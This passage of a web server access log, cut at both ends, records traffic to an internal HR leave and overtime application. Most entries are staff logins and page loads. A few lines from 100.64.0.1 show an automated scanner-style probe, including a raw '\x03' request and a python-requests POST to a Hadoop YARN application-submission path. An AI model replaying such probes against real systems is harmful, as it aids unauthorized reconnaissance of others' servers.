/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.25 - - [03/Dec/2025:09:02:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.139.25 - - [03/Dec/2025:09:02:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [03/Dec/2025:09:05:00 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [03/Dec/2025:09:05:00 +0800] "\x03" 501 203 100.64.0.1 - - [03/Dec/2025:09:06:17 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [03/Dec/2025:09:06:17 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 192.168.11.144 - - [03/Dec/2025:09:07:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.144 - - [03/Dec/2025:09:07:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.26 - - [03/Dec/2025:09:07:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.139.26 - - [03/Dec/2025:09:07:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:37 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.26 - - [03/Dec/2025:09:07:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:07:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.26 - - [03/Dec/2025:09:07:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10437 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10437 192.168.139.26 - - [03/Dec/2025:09:07:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.139.26 - - [03/Dec/2025:09:07:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.139.26 - - [03/Dec/2025:09:07:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.144 - - [03/Dec/2025:09:07:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.144 - - [03/Dec/2025:09:07:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.144 - - [03/Dec/2025:09:07:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.139.26 - - [03/Dec/2025:09:07:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 536235 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.26 - - [03/Dec/2025:09:07:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 536235 192.168.11.144 - - [03/Dec/2025:09:07:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:07:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:07:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:07:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [03/Dec/2025:09:07:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.11.144 - - [03/Dec/2025:09:07:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:07:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.139.26 - - [03/Dec/2025:09:08:17 +0800] "POST 